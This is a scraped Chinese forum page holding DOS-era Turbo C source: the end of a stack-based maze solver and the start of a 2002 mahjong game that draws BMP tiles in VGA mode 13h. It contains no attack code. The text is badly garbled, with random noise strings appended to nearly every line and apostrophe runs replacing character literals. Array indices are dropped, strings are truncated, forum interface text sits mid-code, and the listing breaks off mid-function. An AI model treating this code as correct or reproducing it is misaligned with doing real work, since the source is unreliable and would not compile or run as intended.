0 p- c6 L9 j$ m6 ]# B2 |/* Mark the position seat. */
2 `' J; O9 l; e8 W, i{+ S. e1 L- y. K2 r0 K2 l
maze[seat.x][seat.y].mark=-1;
* Z0 _' c$ M: V' e/* Marking ''''''''''''''''''''''''''''''''-1'''''''''''''''''''''''''''''''' symbolize the current position cannot be put. */2 t, w: u" k+ R; _. }+ h# I0 X
} /* MarkPrint */' u  A& P: l4 {0 q
void FootPrint(PosType curpos)
; X. ]- d$ z0 ?' x+ ~! C  z/* The foot of the curpos of the maze has been set ''''''''''''''''''''''''''''''''true''''''''''''''''''''''''''''''''. */; I! F* Q, w5 N5 n: S5 t- `
{- k4 d& r3 e1 R+ r" z
maze[curpos.x][curpos.y].foot=1;
+ J6 }3 {6 D. V( i! m} /* FootPrint */, ^0 w: K; w8 n, L1 s( V
PosType NextPos(PosType seat,int di)" g7 |' _  [4 W/ ?
{
' e4 L5 n4 q( t" O  R% ?switch(di)
2 I9 e" u" B8 m+ w/ i9 R{
! c& R- r: a. f5 g* g  {case 1: seat.y++; return seat; /* Eastward */
7 x; r+ |" _" M) b/ B* l4 }case 2: seat.x++; return seat; /* Southward */
4 {" d1 Q* j7 [5 b& S8 `+ Xcase 3: seat.y--; return seat; /* Westward */
. R/ [" w: d; F: icase 4: seat.x--; return seat; /* Northward */
  j9 B) q6 b: G& D* i# T2 {default: seat.x=0; seat.y=0; return seat;  v% n+ i9 L0 |9 I: l1 T+ x
}
# w) z5 A& H5 t+ P0 H8 {} /* NextPos */: K, n) M6 l, N! q& I4 s

0 o" T& Q$ d: Q8 g) E! l# Z/* The key to the program. */
, l* K2 Q- a8 v2 o, h6 _' M( `# Z/* Pre: The maze array &amp; the startplace &amp; the endplace.% k. r2 L# h8 O, r7 S) g
Post: Find the one traverse of the maze and perform the mazepath.
: l: s  M8 d' ?! C0 WUses: The ADT stack class.
6 y8 |9 v( ^( i0 t$ i$ B) a*/+ ^# Y2 S7 V2 O- N# U
Status MazePath(PosType start,PosType end)
0 H+ w, L1 }4 U" X5 K- Q{% t; ?1 }2 L+ t' N4 ~
PosType curpos;
" @# d1 Z0 d/ ?) w- F- G6 Jint curstep;; W0 j5 `. m( d- t) A
SElemType e;, ~+ Y1 {- X4 o3 Z2 \+ ?" Q, T
Stack *s,stack;% V8 x' M2 K! Y! D, F/ g
stack.base=(SElemType *)malloc(STACK_INIT_SIZE*sizeof(SElemType));+ V, J" p6 x. I/ o
if(!stack.base) Error("Overflow");
4 D! x$ [2 c# y3 wstack.top=stack.base;- E: o) V7 X) O5 v
stack.stacksize=STACK_INIT_SIZE;, \# k* H- w/ g7 ~4 K7 y) e2 E* C9 E
s=&amp;stack;
' X- `$ N: y" \. A& tcurpos=start;
& s1 H' k6 J8 m: h8 Q' k2 ]4 @curstep=1;
: @8 t' _* A  d$ m/ {do
! m4 u" B* l: z3 j- H{
# Z5 y, t7 C+ F: u$ K& n2 Lif(Pass(curpos))" w* N0 C. c0 {8 T1 Q2 ~7 {  K
{. ?# a' o. @. R# Y+ U
FootPrint(curpos);( C/ M, D' d, O( o+ m
e.ord=curstep; e.seat=curpos; e.di=1;
% G" h" A) N# q: o8 R, ]2 ]5 i/ G3 sgotoxy((curpos.y+1)*2,curpos.x+2);6 l) S% h4 j- f6 Z1 I
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
* c3 b  e. g( U1 y( i- i' kdelay(8000); /* pospone time. */
6 u3 X* @6 W; K4 f) J2 _* @4 jPush(s,e);9 _4 F7 X- U) t( k; D, r) g! b  q* ^
if(curpos.x==end.x&amp;&amp;curpos.y==end.y) /* Proceed recursively. */5 E3 j4 r4 n+ |* i5 E
{
9 L$ }- n+ F/ g: e" ~& NDestroyStack(s);9 ?5 `) |9 V+ F! N- I
return TRUE;
8 b5 P( S% A- [" X; y; ^1 S}0 t6 n0 g' y# G
curpos=NextPos(curpos,1); /* Try next position. */
, C' c, g! d# ?# ^$ \2 T* M1 Qcurstep++;5 G: n5 G& ^- J7 w, I  r( \
}9 {9 h" u* O4 p, H. y* v$ \: `
else
( @; z( j5 X! A* _( v7 S' S" Y{
9 ]+ b' q4 l* ^! B" P- |if(!StackEmpty(s))
/ I: S0 s2 `0 ~- G{
, l+ X" }6 O8 r5 D+ p0 O4 Ee=Pop(s,e); /* Removed e from s. */
, t) k4 H0 Q/ S, Qwhile(e.di==4&amp;&amp;!StackEmpty(s)) /* Four directions have been checked7 I( s$ g6 L6 ^3 Q. Z$ m
and s is not empty. */$ L( x- I  |# K
{
  ]3 V' k7 u/ lMarkPrint(e.seat);0 K4 m5 p% M# W
gotoxy((e.seat.y+1)*2,e.seat.x+2);! F; _0 T" ?: [& W, ?
putch(''''''''''''''''''''''''''''''''@'''''''''''''''''''''''''''''''');
: _6 |* }# Y0 Udelay(8000); /* Pospone time. */+ ~: O" k1 M# z1 _# U" A" q: ~# e
gotoxy((e.seat.y+1)*2,e.seat.x+2);) a- ~5 t0 d( T2 Z2 W+ E
putch('''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''''');
: b/ D. A1 b4 P& z2 `! N" be=Pop(s,e); /* Remove e from s. */6 R. m+ c& Z; L; L0 j! p. m* Q
curstep--;
5 y0 d+ y+ S' k; L4 e) Q2 [}
  l$ C2 b8 E& h5 gif(e.di&lt;4) /* The current position hasnot been checked. */
, D; f) B8 g5 |{
% l# K" e& T  c5 `e.di++;. m3 u$ Z7 t+ `; i- H
Push(s,e); /* Insert e into s. */
1 e* g# k! K( u7 N" Vcurpos=NextPos(e.seat,e.di); /* Try next position. */# L7 F- _! O+ A8 N2 }' J6 E/ B" O  G' p% p& P
}
- f% s6 A% C7 X7 X}: [8 [6 M5 Q; C1 K) b  \4 A+ ?
}" W6 W. O; @. @
}
: ^" c# G5 o( h- D" s9 m2 Lwhile(!StackEmpty(s));
* |+ g4 s2 d& @* Q" M# C, m4 xDestroyStack(s);3 b, B# o+ i/ f% L) U9 H- H
return FALSE;
; G0 a. M: M, m2 q} /* MazePath */- P% Q1 R5 i/ O, v- E9 v
void main()
' Z0 R* P3 ^' C0 J, r{  S0 E3 b0 K; {
PosType start,end;+ ~* M0 s9 O" v. L: M( v
CreatMaze();
" A+ y0 @  X: [; j! Fstart.x=StartPlace.y;
$ C- r' i* [6 ^8 @4 W9 ]) Astart.y=StartPlace.x;
5 n6 S% k0 X# L- Y7 v0 F5 q% tend.x=EndPlace.y;7 h1 q2 f% a. {& i4 V8 q7 C! s2 ?
end.y=EndPlace.x;
4 @5 t1 ~8 k% ]3 b, r. [, M7 \if(MazePath(start,end))1 l# r! W# N, J1 J. `
{) k( `" x& K" `* C  H6 Q& u
gotoxy(2,22);
0 E, _1 x, L# l; S( U$ hprintf("ath found\n");3 X7 }* X% ^7 w2 _! K
}
! H# c' z9 P5 F5 O. U5 s+ \3 pelse
2 D" h5 \2 e4 I: V  G{7 w! A- I6 H, T) X% Q+ p9 a
gotoxy(2,22);3 q& c+ ^+ ^; K  E" ~' y8 K: U
printf("ath not found\n");
. }0 k" q* x' O3 b$ g* F* N}& Y! G! G) q  ^( P) H. m
getch();
% w( l3 x& R6 \) j) x- l- kclrscr();8 N7 Q0 M. ^! v4 i
} </P></DIV>
zan
转播转播0 分享淘帖0 分享分享0 收藏收藏0 支持支持0 反对反对0 微信微信
韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<><b><FONT color=#000000>.:.:上海黑暗之龙--麻将原代码:.:.</FONT></b></P><DIV 626px; HEIGHT: 132px" align=left>< align=left>部分图片未上传
' j) J0 x, Z% x1 i4 n+ m  X/*天宇软件  k9 _; k) N0 L# w* X& n
作者:上海黑暗之龙
: Y. h8 I; n; B! J3 e2002/10/30
$ V) |9 U9 U4 e( m麻将原代码*/, v7 p' q/ H+ ]2 E9 b
#include "dos.h"
, l& A& d* g; h9 _#include "stdio.h"+ F. L9 `) ?4 M
#include "graphics.h"- t" |$ v& t$ q  \# v
#include "bios.h"
0 ^% s0 l" n) g9 R, `' ~$ O5 G#include "conio.h"
- R' l/ e' |+ _5 O/ Y#include "stdlib.h"! g$ Y6 z; z$ j7 q- }% E
unsigned char far *video_buffer=(char far *)0xA0000000L;/ G7 K$ t8 R' e4 }* F: q& n
#define VGA256 0x13 /*图形模式13h*/) u6 \1 \3 d. g& h* }
#define TEXT_MODE 0x03 /*普通文本模式*// b1 ?* s1 X: H8 C! C( P( J9 ^
#define SETVGA Set_Video_Mode(VGA256)2 D7 g7 Y$ E& ~
#define OUTVGA Set_Video_Mode(TEXT_MODE)
1 O! O+ z4 i: i1 l$ l0 P. o" Y#define BYTE unsigned char
& w* r" V1 u6 j. L3 W3 |#define WORD unsigned int
  l& G8 ]: q- G( i#define DWORD unsigned int5 b  g5 }3 A8 M2 \
#define ESC 283
, O( a# H" R/ B  j; R. T; `+ t0 {# V#define LEFT 19200
* \1 @' z9 G9 O% {/ t#define RIGHT 19712, @2 w, `+ e) P' ?
#define H 9064( ^0 g. ?$ N; D! c1 _
#define ENTER 71811 ]1 y+ ?4 U6 d7 k- D+ _) @0 h
unsigned long int z=54400,zz=0,zy=0,zyy=0,z1=0,zl=10140;8 k5 M. |: n9 s5 P7 Z- k: V
int key=0,keyy=0,sing=0,sing1=0,second=0,threes=0;# ]8 A; f- O) G0 ?" w5 ?! A
struct chi
% g" p) }9 o0 |- o{
* p5 G+ \  `3 k3 \( M0 f! Tint lg;  Y& t& d. q7 {+ y2 i/ r
int lgg;
" X* p- ?' @3 G3 R% c. c4 h}ch[13];
5 x" x4 Z$ z) o+ r9 v( Hstruct mj
4 ^9 v  L6 E; u, H{ char *name; /*名字*/
2 Q* \& L+ r! B0 n) e0 [6 t  T2 @int data1; /*是否已出,无用了*/
+ x( @" [" e' S9 xint data2; /*是否在手中,1为自己,2为对方*/
9 t7 w+ W* {# Z. @" ]int number; /*同一个花色的第几张,共4张*/. a1 }( v, l: H' S2 E
}m[136]={"1.bmp",0,0,1,"1.bmp",0,0,2,"1.bmp",0,0,3,"1.bmp",0,0,4,"2.bmp",0,0,1,  s/ E+ m/ _# L' e
"2.bmp",0,0,2,"2.bmp",0,0,3,"2.bmp",0,0,4,"3.bmp",0,0,1,"3.bmp",0,0,2,
) S* k" |& o( o+ `5 E( |: E6 j1 C7 n"3.bmp",0,0,3,"3.bmp",0,0,4,"4.bmp",0,0,1,"4.bmp",0,0,2,"4.bmp",0,0,3,
! Q; n, b8 P$ m( `+ o"4.bmp",0,0,4,"5.bmp",0,0,1,"5.bmp",0,0,2,"5.bmp",0,0,3,"5.bmp",0,0,4,
# n% c! H4 n/ c. f: }"6.bmp",0,0,1,"6.bmp",0,0,2,"6.bmp",0,0,3,"6.bmp",0,0,4,"7.bmp",0,0,1,
) a6 {" B! d$ l- ^" m"7.bmp",0,0,2,"7.bmp",0,0,3,"7.bmp",0,0,4,"8.bmp",0,0,1,"8.bmp",0,0,2,
  ^# i& ~* w) z& i+ Y0 I"8.bmp",0,0,3,"8.bmp",0,0,4,"9.bmp",0,0,1,"9.bmp",0,0,2,"9.bmp",0,0,3,: N9 p; v0 [& Z; J1 P/ `& W; U
"9.bmp",0,0,4,"10.bmp",0,0,1,"10.bmp",0,0,2,"10.bmp",0,0,3,"10.bmp",0,0,4,
3 E- i4 c8 L1 D* r' v7 N6 s"11.bmp",0,0,1,"11.bmp",0,0,2,"11.bmp",0,0,3,"11.bmp",0,0,4,"12.bmp",0,0,1,/ X8 r# S2 U5 v/ R
"12.bmp",0,0,2,"12.bmp",0,0,3,"12.bmp",0,0,4,"13.bmp",0,0,1,"13.bmp",0,0,2,8 C5 s8 N! a. r8 ^+ ]7 v
"13.bmp",0,0,3,"13.bmp",0,0,4,"14.bmp",0,0,1,"14.bmp",0,0,2,"14.bmp",0,0,3,0 @4 m9 X: j" n  @8 n% h
"14.bmp",0,0,4,"15.bmp",0,0,1,"15.bmp",0,0,2,"15.bmp",0,0,3,"15.bmp",0,0,4,
2 G( n0 ?% M) b8 H1 u) |$ a: f"16.bmp",0,0,1,"16.bmp",0,0,2,"16.bmp",0,0,3,"16.bmp",0,0,4,"17.bmp",0,0,1,
& G  S1 c. v$ ]1 y. l0 F"17.bmp",0,0,2,"17.bmp",0,0,3,"17.bmp",0,0,4,"18.bmp",0,0,1,"18.bmp",0,0,2,7 f& W& @7 h8 F  g  A
"18.bmp",0,0,3,"18.bmp",0,0,4,"19.bmp",0,0,1,"19.bmp",0,0,2,"19.bmp",0,0,3,
5 g! u5 t# L8 M0 Z+ q. c"19.bmp",0,0,4,"20.bmp",0,0,1,"20.bmp",0,0,2,"20.bmp",0,0,3,"20.bmp",0,0,4,
3 i& L7 q* M" \4 H# t"21.bmp",0,0,1,"21.bmp",0,0,2,"21.bmp",0,0,3,"21.bmp",0,0,4,"22.bmp",0,0,1,  A0 v* Q9 n6 [+ Y8 V: d# C6 I* b$ u
"22.bmp",0,0,2,"22.bmp",0,0,3,"22.bmp",0,0,4,"23.bmp",0,0,1,"23.bmp",0,0,2,  v/ l! i9 f9 z# c5 P' h, t0 G
"23.bmp",0,0,3,"23.bmp",0,0,4,"24.bmp",0,0,1,"24.bmp",0,0,2,"24.bmp",0,0,3,* M' Y9 B# z0 M8 W8 t  w  i
"24.bmp",0,0,4,"25.bmp",0,0,1,"25.bmp",0,0,2,"25.bmp",0,0,3,"25.bmp",0,0,4,
% h2 z* O% }$ h2 G/ y- j  o"26.bmp",0,0,1,"26.bmp",0,0,2,"26.bmp",0,0,3,"26.bmp",0,0,4,"27.bmp",0,0,1,0 b% d- L1 S7 E9 J8 p# Y7 i, ?
"27.bmp",0,0,2,"27.bmp",0,0,3,"27.bmp",0,0,4,"28.bmp",0,0,1,"28.bmp",0,0,2,
9 e/ g- `* S, x: i4 P. E/ F"28.bmp",0,0,3,"28.bmp",0,0,4,"29.bmp",0,0,1,"29.bmp",0,0,2,"29.bmp",0,0,3,& E( ^4 S5 ^: V4 B6 R% [& x
"29.bmp",0,0,4,"30.bmp",0,0,1,"30.bmp",0,0,2,"30.bmp",0,0,3,"30.bmp",0,0,4,# k$ T( U1 x$ C1 l7 T5 U( O& a" a
"31.bmp",0,0,1,"31.bmp",0,0,2,"31.bmp",0,0,3,"31.bmp",0,0,4,"32.bmp",0,0,1,+ U( e2 b5 m3 o. z
"32.bmp",0,0,2,"32.bmp",0,0,3,"32.bmp",0,0,4,"33.bmp",0,0,1,"33.bmp",0,0,2,' \6 s+ L8 B1 \+ R* D5 ^& g
"33.bmp",0,0,3,"33.bmp",0,0,4,"34.bmp",0,0,1,"34.bmp",0,0,2,"34.bmp",0,0,3,# H1 a% Q- t+ [" b; Z2 X: x: r4 w6 b8 p
"34.bmp"};
, i+ f# N* [7 \+ Y, c& x. c# [struct every: @) e  s. k0 L1 c. }( Z8 }
{ int *k; /*名字*/
+ B, y4 x$ w7 {/ ?int oneorfour; /*同一张牌的第几张*/" t: [; q7 `' {) l$ m
int number; /*第几张牌136*/
3 t8 H7 ^# M) I, V5 _5 fint p;
2 R4 l7 K; H* U8 X; J8 s/ t; K8 u1 L% iint g;3 E% K. u' s- j7 I
int c;4 Q2 D, P% F* c. J- k  z3 d8 R# M
int d[2];
; _9 z# S! y& i" j2 S1 [& F, A# r};
$ n& z4 P, M; V) S* q+ fstruct me- W; n; ^9 r% j3 z% ~/ c
{ int m; /*定义有几张牌,开始有13张随着游戏的进行,会越来越小*/3 l! A2 R- U" L+ ]) C  ], K
int p; /*乓对方*/
* {/ t' r. |; a4 f. C; Y/ S# h8 x/ pint c; /*吃对方*/
2 }& b: p9 c- l* a- }7 Eint g; /*杠*/1 L% c4 k( t+ `. Y! B
( z1 Q! |1 N1 Y
struct every pp[14]; /*存放手上的牌*/% K3 x$ v8 E# J) J# @7 J
}me;
& B6 R2 V8 q) |7 {8 q5 Xstruct computer# X3 c- S8 k9 y0 x* ^
{ int m;
6 C" k; a* q9 Z4 Y  Mint p;
' n3 J2 D0 r- E0 f: g7 mint c;" a5 [* ?, I7 u3 b' ?
int g;& [& _2 h1 V9 b! ~
struct every pp[14];
9 ^% C5 z$ b; }: k* R" [}computer,comp;
4 ?( F9 y6 e$ H6 A* S1 H( l
1 ?& i7 b, |1 S, Y6 z- R1 n( o2 u1 ^# x/* 设置调色板 */7 A9 y3 S7 R0 V  [( {$ i6 s
void Set_Palette(int Color,BYTE r,BYTE g,BYTE b)
, Y4 ^& E9 d5 Z$ Y% ~1 ~  I{
7 a4 V8 {! r$ K5 foutportb(0x3c8,Color); /*0x3c8写端口 写色号*/! b  d! I( L3 v5 e  x
outportb(0x3c9,r); /*0x3c9数据端口 R、G、B的比例*/
3 H! A7 r, ^7 c: s# D; youtportb(0x3c9,g);
% v) {8 A0 }, N+ n7 d! Aoutportb(0x3c9,b);
6 w1 L" `& `' T- c& D}  h. _  X; c/ u+ X5 }, r: F6 Q
/*0x3c7读端口 0x3c6计算机调色板寄存器调用端口*/
) [! d, @% F0 `$ W0 c0 `6 q/* 设置显示模式的函数 */$ S# I: w9 i, ]
void Set_Video_Mode(int mode)
2 u3 ]) ~4 v& y/ D" Z{
3 N! J/ h1 V0 Y1 ^union REGS inregs,outregs; /*定义输入和返回寄存器*/9 [( ^3 d! J, ?3 D$ `5 p$ p' U5 e
inregs.h.ah=0; /*ah存放功能号0h表示进入视频模式*/
9 A, f! C* q- l! F+ [* o  S, Uinregs.h.al=(unsigned char)mode; /*al存放要设定的视频模式*/1 P, o8 {% S* ~; a
int86(0x10,&amp;inregs,&amp;outregs); /*通过10h中断设定显示模式int86()包含在dos.h*/  x* \& r& A7 n* w- W
}
9 ^* Z/ B: I% j* [6 svoid v_line(int y0,int y1,int x,unsigned int color)
" t8 W6 T/ n6 ?: L1 a* Y{ unsigned int address,n,temp;
5 n0 g% b) U6 f; o( u+ W1 iif(y0&gt;y1)2 `# M" i/ z. Y+ Q
{
, s, L" P& a: I8 J6 H/ dtemp=y1;
3 [1 Z4 q5 Z- @  q) c) ty1=y0;
' W( L# I6 U: P, F8 w0 z+ R/ ~1 ]y0=temp;! [# w0 q0 Q% O3 T0 h
}5 t* Q6 d- _8 g) d* M; g
address=320*y0+x;
$ ]% T& g' q$ ^/ {/ u# zfor(n=0;n&lt;=y1-y0;n++)" k, q/ _1 M' |7 o9 h  L$ U
{0 ?" @  X' @1 s; }) O$ I8 i
video_buffer[address]=color;5 @2 M- Q; |- x( i- _
address+=320;6 Z8 I& U$ p0 p+ ]
}
3 ]0 M3 W' G5 n! a}
4 A' U6 K7 m/ }void h_line(int x0,int x1,int y,unsigned int color)
! F, I5 ?/ J7 a/ f{ unsigned int address,n,temp;
% I: ?! n" c# l( p+ G; N0 ]if(x0&gt;x1)
- v7 g, ^& e! T: V( y% L( I{
3 ~7 Y( B+ a, @! G9 }; G/ Utemp=x1;
/ o, ]3 l  p$ |0 o5 gx1=x0;
+ H  `7 Z; |# M! C. E8 Y% c* [x0=temp;" N, x1 ~$ X- w
}7 S2 _4 r5 q! `$ U8 @* T7 L  t
address=320*y+x0;0 S2 g, N) y6 Y& s! s% ^
for(n=0;n&lt;=x1-x0;n++)6 F% l% b: j  i" z- E
{# D! |: Q8 y. p/ v% g+ z
video_buffer[address]=color;( l8 `: ^( X! k2 c' m
address+=1;$ F! G) g" j0 a4 Q+ O% p, v
}! d  c4 V$ W6 Y9 U( g" z
}
4 D! {! S8 [$ }  Kvoid p_pixel(int x,int y,unsigned int color)
) K* d1 ~2 O& S+ E: D- ?2 V{ video_buffer[y*320+x]=color;
) r) `+ E1 \7 k6 b/ Y$ I0 K) G& ~}
3 Z" C3 ]4 E3 I& m0 p, S8 q7 kvoid s_square(int x,int y,int side,int color)
3 Q2 s  M8 N0 z; |{4 o4 g& ^2 t$ o& a$ c
h_line(x,x+side,y,color);; ~1 C) Q; t6 w6 X5 C5 p$ Q
h_line(x,x+side,y+side,color);
! X% O0 ]$ _! ?9 o/ q% {! F; Jv_line(y,y+side,x,color);
  a# x" R( m# v+ l  @v_line(y,y+side,x+side,color);0 l! W% S  H7 B2 G/ B1 Z) M; }9 I
}
& R3 q. F" d$ ]7 X6 v2 Vvoid r_rectangle(int x1,int y1,int x2,int y2,int color)6 ?1 H$ ^/ j4 W: Y9 j/ w/ h9 s
{
& O9 r/ @8 e4 M1 @h_line(x1,x2,y1,color);& R0 c+ M, Y; h1 P+ b
h_line(x1,x2,y2,color);
9 |+ ~6 y: N6 {6 I2 _- kv_line(y1,y2,x1,color);# o" t: h( z5 Z' U1 \/ [
v_line(y1,y2,x2,color);
7 l6 q# K% l' N5 N- Y}
7 F* j; p* v' ?( [; R2 cvoid fillRectangle(int x1,int y1,int x2,int y2,int color)
/ ?2 J  h& I$ d4 x/ e{
2 J9 q" O3 ^+ `3 @int i;+ ~) T# I; o, H* ]- s0 c+ M" j
for(i=y1;i&lt;=y2;i++)8 G; t2 V# `1 T: G. e
{- i; R$ b. k- B. v
h_line(x1,x2,i,color);: z# k7 ^1 x& }& D5 r4 y5 M5 g
}+ c8 }- Y5 V$ L
}1 c, K9 T2 l' C2 Q. e& d# _
void showbmp(int l)
! z$ ?; B/ N' d! i" E6 z9 u  h{ FILE *bmp;
  W+ u7 i0 Y9 C4 o6 L/ w* q( x+ pint i,x,y;
4 S0 X' c2 d6 UBYTE palette[256][3];+ G1 i0 K+ Y! k% {7 a% q3 k
bmp=fopen(me.pp[l].k,"rb");1 A1 F0 u7 T% ^( o7 }: ~0 ~, p4 L
fseek(bmp,54,SEEK_SET);
" ]4 B  U' l0 e4 u  yfor(i=0;i&lt;256;i++)2 F, ^* T9 `  w) e
{
; d2 \! N3 }9 ]/ c5 Hpalette[2]=fgetc(bmp)&gt;&gt;2;' G0 b5 I- X$ {
palette[1]=fgetc(bmp)&gt;&gt;2;& x! M) ?' J$ h* T, ~8 |
palette[0]=fgetc(bmp)&gt;&gt;2;
1 T  w7 t; ~+ G) B( |fgetc(bmp);* n3 H# R! o+ d6 w
Set_Palette(i,palette[0],palette[1],palette[2]);
* D& l/ q& S8 K1 d, E2 `/ E* i}. U+ _: J( [  K% W$ |7 ]
for (y=0;y&lt;30;y++)( A0 j5 u  p7 w3 I6 h: b
for(x=0;x&lt;20;x++)" a* E6 {# R1 {1 u
pokeb(0xa000,y*320+x+z+zz+z1,fgetc(bmp));" W+ o4 v4 {7 z% d/ t, J: S
fclose(bmp);) E+ C% g. o& d9 K1 W2 k
}5 n  w5 o0 I9 v+ C
void showbmpd(int l)
% j' X* D9 U% e{ FILE *bmp;& C6 Z# ?8 o5 c! E, m1 s
int i,x,y;
* Y9 Y# R7 X( I$ QBYTE palette[256][3];
3 x5 m( B, K. G$ b( ubmp=fopen(me.pp[l].k,"rb");: A/ c! o  m# u4 i/ G
fseek(bmp,54,SEEK_SET);
$ G4 C1 _- S' m+ |& [for(i=0;i&lt;256;i++)1 A* W& h+ n5 l1 ]
{: A$ b3 X8 t6 E! W) O
palette[2]=fgetc(bmp)&gt;&gt;2;5 `. T" J3 s4 b  ]
palette[1]=fgetc(bmp)&gt;&gt;2;& ]' X9 y" K% r0 o( Y; b% G
palette[0]=fgetc(bmp)&gt;&gt;2;
9 y, _4 e/ B/ A  [" i6 I6 b' Ifgetc(bmp);0 w2 W2 b, M( Q, Z" c* {# z$ Z3 h' l
Set_Palette(i,palette[0],palette[1],palette[2]);
$ X; X! q( c6 l. c( s8 u. O}7 u7 u# l2 Q5 }0 T8 a
for (y=0;y&lt;30;y++)
7 S! y2 c& @1 f! Tfor(x=0;x&lt;20;x++)
4 }( F5 l$ \) a, j+ o: [/ G; P  i% fpokeb(0xa000,y*320+x+zyy,fgetc(bmp));3 \3 c; x* e- a/ m. i+ \" I
fclose(bmp);
2 F+ d" F3 X$ \}
; T; i% ^' M4 [8 u  a- q# dvoid showybmp(int ll)! u2 d! ^. r2 ]5 t5 V! Q
{ FILE *bmp;
% W5 F1 e( f) k. ]- Nint i,x,y;# N) I3 o, l# N6 x! K, E
BYTE palette[256][3];
1 S6 i) A! v% h2 S- n  s# |) Cbmp=fopen(computer.pp[ll].k,"rb");& o3 u, C* F+ T+ W; a3 V& [
fseek(bmp,54,SEEK_SET);  w  g( ^! o  b1 _0 A
for(i=0;i&lt;256;i++)
. d! @9 |+ ^, _/ B- X: ~. I2 ]{
4 d; J% }) W) r6 \6 Y. u/ }- }" ^palette[2]=fgetc(bmp)&gt;&gt;2;/ i  @* d2 @) q: S- W: w
palette[1]=fgetc(bmp)&gt;&gt;2;
$ m/ \7 A0 |! Y3 d) Opalette[0]=fgetc(bmp)&gt;&gt;2;1 D7 d+ ], i( q: R6 a. {4 \
fgetc(bmp);
/ T# G/ ?2 o7 {3 s8 N" P- f0 iSet_Palette(i,palette[0],palette[1],palette[2]);
0 h" U7 W. z' B9 C2 J}& ^. ^% K1 g6 ?, B
for (y=0;y&lt;30;y++): d2 N7 _0 r5 B" k6 M6 J; Y
for(x=0;x&lt;20;x++)( u  ]" x9 b) r* m" y  n
pokeb(0xa000,y*320+x+zy,fgetc(bmp));
4 B4 k: Y0 n% B9 r/ V/ yfclose(bmp);0 `& W( @, p  b0 U6 L6 }& m- x
}
4 Y" f8 h' S$ l. Nvoid showcbmp(int ll)
9 l) x0 k$ Q8 V5 k' P0 S/ \4 O{ FILE *bmp;' t* c) X+ e( L
int i,x,y;
" _3 _9 B0 C9 V+ _9 Q+ hBYTE palette[256][3];; a1 C9 d9 l' e& i" _
bmp=fopen(computer.pp[ll].k,"rb");
4 `4 c% I: m$ w( G/ f. B1 ~& \2 Gfseek(bmp,54,SEEK_SET);- \4 {0 c' Z5 p& S
for(i=0;i&lt;256;i++)% M' D1 C9 A4 R% `5 X
{1 i8 C; j3 L  R
palette[2]=fgetc(bmp)&gt;&gt;2;
0 z2 \" G! W; W1 Z+ Fpalette[1]=fgetc(bmp)&gt;&gt;2;" e2 h4 J2 P% ~" X5 m; \$ m
palette[0]=fgetc(bmp)&gt;&gt;2;; o2 ~: b' u7 ?, _4 P+ i: ?
fgetc(bmp);0 X5 N/ s% O* Z2 X, F+ G
Set_Palette(i,palette[0],palette[1],palette[2]);
  ~0 k0 B* I' Z+ Q/ `$ l7 y}) ~. c4 k. `7 G: w& ~$ o8 D
for (y=0;y&lt;30;y++)
9 h/ H8 T; V" Z% A7 E5 O3 n, qfor(x=0;x&lt;20;x++)9 g- S2 ^. m7 r6 a+ w6 W
pokeb(0xa000,y*320+x+zyy,fgetc(bmp));
3 A% y  X% Y6 D/ p5 k% @3 Vfclose(bmp);
! q, m. b/ K7 t% L8 H4 r2 j}8 m7 }7 J' w. X" Z: J8 m) Q
void bmpp(int number)1 |: o  c& g+ J. E7 q4 W
{ FILE *bmp;: z2 h7 T1 p( t) X9 W
int i,x,y;6 W; K8 ?1 S8 W( C' ~
BYTE palette[256][3];
7 o' k; P1 D2 ~8 V. a/ C# Qbmp=fopen(m[number].name,"rb");
, T/ ^, f7 w; x* H3 L' R2 ~$ pfseek(bmp,54,SEEK_SET);! X: k# c/ k% J* N) f5 ^1 c
for(i=0;i&lt;256;i++)
& b+ m5 X- I6 s' S3 t{
" `1 X+ W# g9 N; O: w0 `1 wpalette[2]=fgetc(bmp)&gt;&gt;2;5 |4 n. i4 B, b5 s& ?7 r8 a$ U
palette[1]=fgetc(bmp)&gt;&gt;2;
, h& V4 ^& i6 d. y: t; s) Cpalette[0]=fgetc(bmp)&gt;&gt;2;8 R. K3 d: o" a& z/ x
fgetc(bmp);
! C* E) Z7 O" P' ?5 g, uSet_Palette(i,palette[0],palette[1],palette[2]);
' Y2 t+ z( P) M$ z: f3 d  f}  A  Q3 d& J) s
for (y=0;y&lt;30;y++)7 d. P3 \0 R5 e# I0 H# j; l) u2 t
for(x=0;x&lt;20;x++)% w4 q) x+ h& a' H
pokeb(0xa000,y*320+x+zl,fgetc(bmp));5 j9 l( I3 _! n
fclose(bmp);, o. u# O. H8 Y
}6 [" ~7 F0 L1 V1 r7 G& q; K
void comlipai() /*整理电脑的牌*/5 G  Y4 m) a1 P9 A. N* J) [
{ int n,j,u;
  p( h* s* h) x+ g  U9 Iint *lingshi;
- i, z% O# W: e5 H. R/ f2 L. Lfor(n=0;n&lt;computer.m;n++)7 q: K' J& S6 d9 t9 D: D
for(j=n;j&lt;computer.m;j++)* p, d3 a8 ]# [, e
{- w4 _" U1 e: k) c2 H+ b: i
if(computer.pp[n].number&gt;computer.pp[j+1].number)
2 P& `% h9 S$ M8 f1 G; c( j3 G{3 y0 z% `, S3 g' ^8 w
lingshi=computer.pp[n].k;. u7 D# v1 T( x$ d
computer.pp[n].k=computer.pp[j+1].k;# A$ p, V5 T) J5 N5 s6 j
computer.pp[j+1].k=lingshi;
) |9 A+ g4 v! \, Au=computer.pp[n].oneorfour;9 U% H8 Z& D) x! J4 c. q
computer.pp[n].oneorfour=computer.pp[j+1].oneorfour;
) n* c' Z3 W8 u  E2 _/ N  i( Fcomputer.pp[j+1].oneorfour=u;
$ }5 @- w6 s% M! w$ v" G. K( ^u=computer.pp[n].number;3 }( Z. \/ @* D* a6 n
computer.pp[n].number=computer.pp[j+1].number;2 w+ ?% p  U% {' C! W6 {5 A
computer.pp[j+1].number=u;
; E" u2 P) W9 p; }5 a9 g5 h}7 I/ L# G8 G0 u* ]5 x
else
8 m6 y8 ]6 Z# `, \3 w7 Iif(computer.pp[n].number==computer.pp[j+1].number)
+ y4 _8 z6 L) W& b5 L0 l" S4 Hif(computer.pp[n].oneorfour&gt;computer.pp[j+1].oneorfour)
; [& a; v9 c0 [" D3 e{4 K+ K9 m; c( v2 i
lingshi=computer.pp[n].k;
0 t- q$ v+ w7 b8 E: s. T# `1 ycomputer.pp[n].k=computer.pp[j+1].k;
